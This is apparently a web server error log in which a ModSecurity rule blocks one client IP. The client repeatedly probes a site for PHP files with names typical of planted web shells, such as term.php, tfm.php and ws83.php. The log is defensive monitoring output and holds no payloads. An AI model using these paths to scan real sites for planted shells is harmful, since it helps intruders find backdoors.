[Thu Mar 26 08:27:27.346166 2026] [:error] [pid 31778:tid 31816] [client 158.158.51.28:31447] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acR9bw3kybI2o-xasmBS1gAAAdc"]
[Thu Mar 26 08:27:27.969632 2026] [:error] [pid 31778:tid 31814] [client 158.158.51.28:31430] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acR9bw3kybI2o-xasmBS2gAAAdU"]
[Thu Mar 26 08:27:28.575061 2026] [:error] [pid 31670:tid 31686] [client 158.158.51.28:44801] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acR9cDXVthXxCnWjOTRY3wAAAU4"]
[Thu Mar 26 08:27:29.195163 2026] [:error] [pid 19711:tid 19758] [client 158.158.51.28:44836] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acR9cWj3l1y81GYfluRRKwAAAEk"]
[Thu Mar 26 08:27:29.708300 2026] [:error] [pid 31780:tid 31838] [client 158.158.51.28:31487] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acR9cZJDwZsy5O4ZXEjAUwAAAhE"]
[Thu Mar 26 08:27:30.330582 2026] [:error] [pid 31780:tid 31844] [client 158.158.51.28:31466] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acR9cpJDwZsy5O4ZXEjAVQAAAhc"]
[Thu Mar 26 08:27:30.808775 2026] [:error] [pid 19818:tid 19824] [client 158.158.51.28:44824] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acR9cszaSnm3d1BeM5WXywAAAMQ"]
[Thu Mar 26 08:27:31.318438 2026] [:error] [pid 31670:tid 31685] [client 158.158.51.28:31453] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acR9czXVthXxCnWjOTRY5AAAAU0"]
[Thu Mar 26 08:27:31.841027 2026] [:error] [pid 19818:tid 19843] [client 158.158.51.28:3020] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acR9c8zaSnm3d1BeM5WXzgAAANc"]
[Thu Mar 26 08:27:32.373162 2026] [:error] [pid 19711:tid 19765] [client 158.158.51.28:31435] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acR9dGj3l1y81GYfluRRLQAAAFA"]
[Thu Mar 26 08:27:32.902486 2026] [:error] [pid 60829:tid 60849] [client 158.158.51.28:3042] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acR9dPTdjHKeZokybaQ8LgAAARI"]
[Thu Mar 26 08:27:33.444144 2026] [:error] [pid 19711:tid 19770] [client 158.158.51.28:31452] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "acR9dWj3l1y81GYfluRRLgAAAFU"]
[Thu Mar 26 08:27:33.926766 2026] [:error] [pid 19712:tid 19792] [client 158.158.51.28:3013] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "acR9ddWhKhRNqm23vFPkiAAAAJA"]
[Thu Mar 26 08:27:34.427571 2026] [:error] [pid 19712:tid 19796] [client 158.158.51.28:44846] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "acR9dtWhKhRNqm23vFPkjQAAAJQ"]
[Thu Mar 26 08:27:34.928482 2026] [:error] [pid 19711:tid 19761] [client 158.158.51.28:41833] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "acR9dmj3l1y81GYfluRRMQAAAEw"]
[Thu Mar 26 08:27:35.424516 2026] [:error] [pid 31670:tid 31692] [client 158.158.51.28:44828] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acR9dzXVthXxCnWjOTRY5gAAAVQ"]
[Thu Mar 26 08:27:35.912340 2026] [:error] [pid 19711:tid 19755] [client 158.158.51.28:31478] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acR9d2j3l1y81GYfluRRNAAAAEY"]
[Thu Mar 26 08:27:36.585568 2026] [:error] [pid 19710:tid 19722] [client 158.158.51.28:31440] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acR9eAVEWP8Ar68Njk6xnwAAAAA"]
[Thu Mar 26 08:27:37.482043 2026] [:error] [pid 31778:tid 31808] [client 158.158.51.28:44827] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acR9eQ3kybI2o-xasmBS3QAAAc8"]
[Thu Mar 26 08:27:38.003748 2026] [:error] [pid 19710:tid 19738] [client 158.158.51.28:44853] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acR9egVEWP8Ar68Njk6xoQAAABA"]
[Thu Mar 26 08:27:38.556662 2026] [:error] [pid 31778:tid 31816] [client 158.158.51.28:44807] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acR9eg3kybI2o-xasmBS3wAAAdc"]
[Thu Mar 26 08:27:39.039688 2026] [:error] [pid 31780:tid 31834] [client 158.158.51.28:41795] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acR9e5JDwZsy5O4ZXEjAWgAAAg0"]
[Thu Mar 26 08:27:39.554902 2026] [:error] [pid 31780:tid 31831] [client 158.158.51.28:41827] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acR9e5JDwZsy5O4ZXEjAWwAAAgo"]
[Thu Mar 26 08:27:40.109769 2026] [:error] [pid 31780:tid 31829] [client 158.158.51.28:44814] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acR9fJJDwZsy5O4ZXEjAXgAAAgg"]
[Thu Mar 26 08:27:40.643522 2026] [:error] [pid 31780:tid 31836] [client 158.158.51.28:31459] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acR9fJJDwZsy5O4ZXEjAZAAAAg8"]
[Thu Mar 26 08:27:41.407985 2026] [:error] [pid 31670:tid 31678] [client 158.158.51.28:41850] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acR9fTXVthXxCnWjOTRY8QAAAUY"]
[Thu Mar 26 08:27:42.220832 2026] [:error] [pid 19818:tid 19827] [client 158.158.51.28:41817] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acR9fszaSnm3d1BeM5WX0QAAAMc"]
[Thu Mar 26 08:27:43.021844 2026] [:error] [pid 19712:tid 19785] [client 158.158.51.28:31455] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acR9f9WhKhRNqm23vFPkjwAAAIk"]
[Thu Mar 26 08:27:43.797037 2026] [:error] [pid 19710:tid 19723] [client 158.158.51.28:31446] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acR9fwVEWP8Ar68Njk6xowAAAAE"]
[Thu Mar 26 08:27:44.707714 2026] [:error] [pid 19711:tid 19763] [client 158.158.51.28:3038] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acR9gGj3l1y81GYfluRROAAAAE4"]
[Thu Mar 26 08:27:45.186819 2026] [:error] [pid 60829:tid 60843] [client 158.158.51.28:44837] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acR9gfTdjHKeZokybaQ8MwAAAQw"]
[Thu Mar 26 08:27:45.769052 2026] [:error] [pid 60829:tid 60841] [client 158.158.51.28:31470] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acR9gfTdjHKeZokybaQ8NgAAAQo"]
[Thu Mar 26 08:27:46.268257 2026] [:error] [pid 31670:tid 31692] [client 158.158.51.28:3027] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acR9gjXVthXxCnWjOTRY8wAAAVQ"]
[Thu Mar 26 08:27:46.782483 2026] [:error] [pid 31780:tid 31821] [client 158.158.51.28:41794] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acR9gpJDwZsy5O4ZXEjAbwAAAgE"]
[Thu Mar 26 08:27:47.281929 2026] [:error] [pid 31670:tid 31674] [client 158.158.51.28:41845] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acR9gzXVthXxCnWjOTRY9gAAAUI"]
[Thu Mar 26 08:27:47.766413 2026] [:error] [pid 31670:tid 31695] [client 158.158.51.28:3040] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acR9gzXVthXxCnWjOTRY-AAAAVc"]
[Thu Mar 26 08:27:48.281436 2026] [:error] [pid 19818:tid 19826] [client 158.158.51.28:31462] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acR9hMzaSnm3d1BeM5WX2wAAAMY"]
[Thu Mar 26 08:27:48.789585 2026] [:error] [pid 19712:tid 19777] [client 158.158.51.28:44813] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acR9hNWhKhRNqm23vFPkkwAAAIE"]
[Thu Mar 26 08:27:49.287316 2026] [:error] [pid 31670:tid 31673] [client 158.158.51.28:44844] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acR9hTXVthXxCnWjOTRY_AAAAUE"]
[Thu Mar 26 08:27:49.770348 2026] [:error] [pid 19710:tid 19732] [client 158.158.51.28:41824] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acR9hQVEWP8Ar68Njk6xpwAAAAo"]
[Thu Mar 26 08:27:50.261992 2026] [:error] [pid 31670:tid 31678] [client 158.158.51.28:41805] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acR9hjXVthXxCnWjOTRY_wAAAUY"]
[Thu Mar 26 08:27:50.742790 2026] [:error] [pid 31670:tid 31680] [client 158.158.51.28:44858] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acR9hjXVthXxCnWjOTRZBQAAAUg"]
[Thu Mar 26 08:27:51.332727 2026] [:error] [pid 31670:tid 31696] [client 158.158.51.28:41847] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acR9hzXVthXxCnWjOTRZCQAAAVg"]
[Thu Mar 26 08:27:51.887712 2026] [:error] [pid 19818:tid 19841] [client 158.158.51.28:3011] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acR9h8zaSnm3d1BeM5WX3gAAANU"]
[Thu Mar 26 08:27:52.592147 2026] [:error] [pid 19818:tid 19830] [client 158.158.51.28:41797] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acR9iMzaSnm3d1BeM5WX4QAAAMo"]
[Thu Mar 26 08:27:53.087384 2026] [proxy_fcgi:error] [pid 19818:tid 19837] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:53.331887 2026] [proxy_fcgi:error] [pid 19818:tid 19835] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:53.588267 2026] [proxy_fcgi:error] [pid 19818:tid 19833] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:53.833356 2026] [proxy_fcgi:error] [pid 19818:tid 19825] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:54.323672 2026] [proxy_fcgi:error] [pid 19818:tid 19826] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:54.567893 2026] [proxy_fcgi:error] [pid 19818:tid 19823] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:54.812825 2026] [proxy_fcgi:error] [pid 19818:tid 19822] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:55.060164 2026] [proxy_fcgi:error] [pid 19818:tid 19829] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:56.810038 2026] [proxy_fcgi:error] [pid 19818:tid 19842] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:57.055379 2026] [proxy_fcgi:error] [pid 19818:tid 19827] [client 158.158.51.28:44830] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:27:57.297005 2026] [:error] [pid 19818:tid 19832] [client 158.158.51.28:44830] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acR9jczaSnm3d1BeM5WX7gAAAMw"]
[Thu Mar 26 08:27:57.791245 2026] [:error] [pid 31717:tid 31722] [client 158.158.51.28:41836] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acR9jb-SCF7YDISDX499bgAAAYA"]
[Thu Mar 26 08:27:58.319492 2026] [:error] [pid 31717:tid 31731] [client 158.158.51.28:31429] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acR9jr-SCF7YDISDX499cAAAAYk"]
[Thu Mar 26 08:27:58.851786 2026] [:error] [pid 31778:tid 31797] [client 158.158.51.28:41842] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acR9jg3kybI2o-xasmBS_QAAAcQ"]
[Thu Mar 26 08:27:59.376405 2026] [:error] [pid 31778:tid 31804] [client 158.158.51.28:31476] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acR9jw3kybI2o-xasmBTFwAAAcs"]
[Thu Mar 26 08:27:59.879570 2026] [:error] [pid 19710:tid 19726] [client 158.158.51.28:31457] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acR9jwVEWP8Ar68Njk6xqgAAAAQ"]
[Thu Mar 26 08:28:00.379916 2026] [:error] [pid 31670:tid 31677] [client 158.158.51.28:41813] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acR9kDXVthXxCnWjOTRZEQAAAUU"]
[Thu Mar 26 08:28:00.863596 2026] [:error] [pid 31670:tid 31673] [client 158.158.51.28:41843] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acR9kDXVthXxCnWjOTRZFAAAAUE"]
